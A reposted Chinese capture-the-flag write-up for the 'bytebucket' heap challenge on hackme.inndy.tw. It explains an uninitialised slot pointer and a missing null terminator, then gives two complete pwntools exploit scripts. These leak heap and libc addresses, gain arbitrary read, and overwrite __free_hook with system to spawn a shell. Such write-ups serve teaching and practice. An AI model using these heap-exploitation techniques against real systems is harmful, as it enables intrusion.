hackme.inndy.tw 上的 bytebucket writeup

栏目: Python · 发布时间: 5年前

内容简介:保护几乎全开

hackme.inndy.tw 上的 bytebucket writeup

程序分析

hackme.inndy.tw 上的 bytebucket writeup

checksec

保护几乎全开

hackme.inndy.tw 上的 bytebucket writeup

数据结构

  • bucket是一个如下结构的结构体,用单链表串联。根据bucket中的slot数(slot_count),bucket的大小也会变化,slot指针也会变化。
  • slot是malloc出来的char数组,其大小不做记录,只用于初始化。
  • 全局有一个globalp指针指向根bucket,也有一个currentp指针指向当前操作的bucket
struct bucket{
    bucket* next;
    int64 slot_count;
    char[16] bucket_name;
    char* slot0;
    char* slot1;
    ...
}

hackme.inndy.tw 上的 bytebucket writeup

hackme.inndy.tw 上的 bytebucket writeup

程序结构

初始化了2个bucket,其中第一个FLAG就在第一个bucket的slot中;第二个FLAG需要getshell获得

hackme.inndy.tw 上的 bytebucket writeup

操作bucket

hackme.inndy.tw 上的 bytebucket writeup

在open_bucket后才可以操作slot

hackme.inndy.tw 上的 bytebucket writeup

寻找漏洞

观察free,无论是drop_bucket还是drop_data,free后指针被清0,没有UAF漏洞

hackme.inndy.tw 上的 bytebucket writeup

  • 漏洞点1:在make_bucket时,如果传入size of slot content大小为0,则会跳过对slot指针的赋值。也就是该数据块原来是什么就还是什么,于是想到让这个部分设置为我们希望读取/修改内存的指针,就可以实现任意地址读、写。
    hackme.inndy.tw 上的 bytebucket writeup
  • 漏洞点2:输入bucket_name的函数没有在结尾强制加x00,可以让name为16个a,就会与slot0指针接上。list_bucket就会泄露出slot0地址。
    hackme.inndy.tw 上的 bytebucket writeup

FLAG1

make_bucket(1,"a"*16,[10],["bbb"]) 溢出堆指针,计算 FLAG1(内存)的地址

hackme.inndy.tw 上的 bytebucket writeup

但是注意,如果flag1_addr中有0xa(n)时,会被替换为00,所以要重试

hackme.inndy.tw 上的 bytebucket writeup

构造一个大小和bucket一样的slot,利用slot布局好内存,设置某个位置为flag1的指针

hackme.inndy.tw 上的 bytebucket writeup

然后drop_data回到fastbin,等再make_bucket时,这块内存将作为bucket内存

此时原来的flag1还在

hackme.inndy.tw 上的 bytebucket writeup

利用传入Size of content为0,避免对这块内存赋值,但是此时slot_count为1,在show_data中读取到内存中的FLAG。

hackme.inndy.tw 上的 bytebucket writeup

完整payload

#!/usr/bin/env python2
# -*- coding:utf8 -*-

import struct
from pwn import *
from pwnlib.util.proc import wait_for_debugger


# context(os='linux', arch='amd64', log_level='debug') #i386 or amd64

#用python xxx.py elf 1调用远程
local = len(sys.argv) == 2

elf = ELF(sys.argv[1])

if local:
    io = process(sys.argv[1],env={"FLAG1":"flag{env}"})
else:
    io = remote("hackme.inndy.tw", 7722)

def make_bucket(slot_count,name,csize,cs):
    io.sendlineafter("What to do","1")
    io.sendlineafter("Size of bucket",str(slot_count))
    io.sendlineafter("Name of bucket",name)
    for i in range(slot_count):
        io.sendlineafter("Size of content",str(csize[i]))
        if (csize[i]!=0):
            io.sendafter("Content of slot",cs[i])

def list_bucket():
    io.sendlineafter("What to do","2")

def find_bucket(name):
    io.sendlineafter("What to do","3")
    io.sendlineafter("Bucket name to find",name)

def drop_bucket():
    io.sendlineafter("What to do","5")

def open_bucket():
    io.sendlineafter("What to do","6")

def show_data():
    io.sendlineafter("What to do","1")

def rename(name):
    io.sendlineafter("What to do","4")

def drop_data(idx):
    io.sendlineafter("What to do","3")
    io.sendlineafter("Which line of data",str(idx))

def close_bucket():
    io.sendlineafter("What to do","5")


make_bucket(1,"a"*16,[10],["bbb"]) #name溢出堆指针,计算 FLAG1(内存)的地址

list_bucket()
io.recvuntil("a"*16)
c = io.recvuntil("";",drop=True)
slot1 = u64(c.ljust(8,'x00'))
success("slot1 : %x"%slot1)
flag1_addr = slot1 - 224
success("flag1_addr : %x"%flag1_addr)
fs = "%x"%flag1_addr
if "0a" in fs:
    success("0a in address! Try again!")
    exit()

make_bucket(1,"ccc",[40],["d"*32+p64(flag1_addr)])
open_bucket()
drop_data(0)
close_bucket()

make_bucket(1,"eee",[0],[''])
open_bucket()
show_data()

io.interactive()

FLAG2

上述过程可以实现任意地址读,但是由于slot的编辑(edit_data)会用strlen判断原来slot的大小,所以如果要实现任意地址写,则需要用rename函数来修改bucket的name字段。

hackme.inndy.tw 上的 bytebucket writeup

由于程序保护几乎全开,尤其RELRO限制了改不了got表,就改__free_hook

  • 套路1:利用FLAG1同样的方法,获取堆地址,确定bucket2的地址
  • 套路2:利用“利用unsorted bin获得main_arena地址”的套路吗,获取main_arena地址进而获得libc地址
make_bucket(4,"aaaa",[0x80,0x80,0x80,0x80],["bbbb","cccc","dddd","eeee"]) 
open_bucket()
drop_data(0)
drop_data(2)
close_bucket()

make_bucket(2,"f"*16,[0x80,0x80],["g"*8,"hhhh"])

与FLAG1同样的套路构造内存,这次是让bucket3->slot0=bucket2

make_bucket(2,"bucket2",[40,8],["d"*32+p64(bucket2),"/bin/shx00"])
open_bucket()
drop_data(0) #带有bucket2指针的块进入fastbin
close_bucket()

make_bucket(1,"bucket3",[0],['']) 
open_bucket()

先利用edit_data函数,修改slot对应的内存

free_hook_addr = libc.symbols["__free_hook"] - 0x10 #可以修改的地方在0x10处
data = p64(free_hook_addr).rstrip("x00")
csize = len(data)
success("free_hook size: %d"%csize)
success("__free_hook - 0x10 : %x"%free_hook_addr)

edit_data(0,csize,data) #将bucket2->next改成指向想要的目标(伪bucket)
close_bucket()

此时locked->bucket1->bucket2->fake bucket

利用next_bucket函数进入fake_bucket,用rename函数修改fake_bucket的字段(之所以用rename而不是edit_data是因为edit_data修改的长度会根据原来内容strlen的结果,free_hook这里原来是NULL,所以不能改长;而rename则只限制32长度,满足要求)

find_bucket("bucket2")
next_bucket() #进入到伪bucket,修改名字
open_bucket()

system_addr = libc.symbols["system"]
success("system_addr : %x"%system_addr)

rename(p64(system_addr)) #
close_bucket()

free掉有/bin/sh那块内存,触发__free_hook

find_bucket("bucket2")
open_bucket()
drop_data(1) #free掉有/bin/sh那块内存,触发__free_hook

完整的payload

#!/usr/bin/env python2
# -*- coding:utf8 -*-

import struct
from pwn import *
from pwnlib.util.proc import wait_for_debugger

context(os='linux', arch='amd64', log_level='debug') #i386 or amd64

#用python xxx.py elf 1调用远程
local = len(sys.argv) == 2

elf = ELF(sys.argv[1])

if local:
    io = process(sys.argv[1],env={"FLAG1":"flag{env}"})
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #64bit
    main_arena_offset = 3951392
else:
    io = remote("hackme.inndy.tw", 7722)
    libc = ELF("libc-2.23.so.x86_64")
    main_arena_offset = 0x3C3B20

def make_bucket(slot_count,name,csize,cs):
    io.sendlineafter("What to do","1")
    io.sendlineafter("Size of bucket",str(slot_count))
    io.sendlineafter("Name of bucket",name)
    for i in range(slot_count):
        io.sendlineafter("Size of content",str(csize[i]))
        if (csize[i]!=0):
            io.sendafter("Content of slot",cs[i])

def list_bucket():
    io.sendlineafter("What to do","2")

def find_bucket(name):
    io.sendlineafter("What to do","3")
    io.sendlineafter("Bucket name to find",name)

def drop_bucket():
    io.sendlineafter("What to do","5")

def open_bucket():
    io.sendlineafter("What to do","6")

def show_data():
    io.sendlineafter("What to do","1")

def edit_data(idx,size,data):
    io.sendlineafter("What to do","2")
    io.sendlineafter("Which line of data",str(idx))
    io.sendlineafter("Size of new content",str(size))
    io.sendafter("New content", data)


def rename(name):
    io.sendlineafter("What to do","4")
    io.sendlineafter("New bucket name",name)

def drop_data(idx):
    io.sendlineafter("What to do","3")
    io.sendlineafter("Which line of data",str(idx))

def close_bucket():
    io.sendlineafter("What to do","5")

def next_bucket():
    io.sendlineafter("What to do","4")

make_bucket(4,"aaaa",[0x80,0x80,0x80,0x80],["bbbb","cccc","dddd","eeee"]) 
open_bucket()
drop_data(0)
drop_data(2)
close_bucket()

make_bucket(2,"f"*16,[0x80,0x80],["g"*8,"hhhh"])


#name溢出堆指针,获得bucket2的地址
list_bucket()
io.recvuntil("f"*16)
c = io.recvuntil("";",drop=True)
slot = u64(c.ljust(8,'x00'))
success("slot : %x"%slot)
bucket2 = slot - 368 + 0x50
success("bucket2 : %x"%bucket2)

#利用unsorted bin获得main_arena地址,从而获得libc基地址
open_bucket()
show_data()
io.recvuntil("g"*8)
bk = u64(io.recvuntil("nRow[",drop=True).ljust(8,'x00'))
main_arena = bk - 216
success("main_arena : %x"%main_arena)
libc.address = main_arena - main_arena_offset
success("libc.address : %x"%libc.address)
close_bucket()

#恢复环境,清空(fastbin里面还有)
drop_bucket()
find_bucket("aaaa")
drop_bucket()
#locked->bucket1
find_bucket("/home/ctf/flag")

#构造一个bucket2

make_bucket(2,"bucket2",[40,8],["d"*32+p64(bucket2),"/bin/shx00"])
#locked->bucket1->bucket2
open_bucket()
drop_data(0) #带有bucket2指针的块进入fastbin
close_bucket()

#从fastbin中获取到刚才free掉的块
#bucket2->next = bucket3
#locked->bucket1->bucket2->bucket3(bucket3->slot0=bucket2)
make_bucket(1,"bucket3",[0],['']) 
open_bucket()

free_hook_addr = libc.symbols["__free_hook"] - 0x10 #可以修改的地方在0x10处
data = p64(free_hook_addr).rstrip("x00")
csize = len(data)
success("free_hook size: %d"%csize)
success("__free_hook - 0x10 : %x"%free_hook_addr)

edit_data(0,csize,data) #将bucket2->next改成指向想要的目标(伪bucket)
close_bucket()

#locked->bucket1->bucket2->fake bucket
find_bucket("bucket2")
next_bucket() #进入到伪bucket,修改名字
open_bucket()

system_addr = libc.symbols["system"]
success("system_addr : %x"%system_addr)

rename(p64(system_addr)) #
close_bucket()

find_bucket("bucket2")
open_bucket()
drop_data(1) #free掉有/bin/sh那块内存,触发__free_hook

io.interactive()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

ActionScript 3.0精彩范例词典

ActionScript 3.0精彩范例词典

杨东昱 编 / 2008-5 / 59.00元

《ActionScript 3.0精彩范例词典》列出了最常用的ActionScript语法,并附有详细的程序代码范例,不但教您如何使用、修改ActionScript代码,而且还以实际范例和图解,说明每项语法还能呈现哪些动画效果和功能,对学习ActipScript有所帮助。读者在阅读《ActionScript 3.0精彩范例词典》之后,将能开发出属于自己的ActionScript程序与FLASH动画......一起来看看 《ActionScript 3.0精彩范例词典》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

随机密码生成器
随机密码生成器

多种字符组合密码

SHA 加密
SHA 加密

SHA 加密工具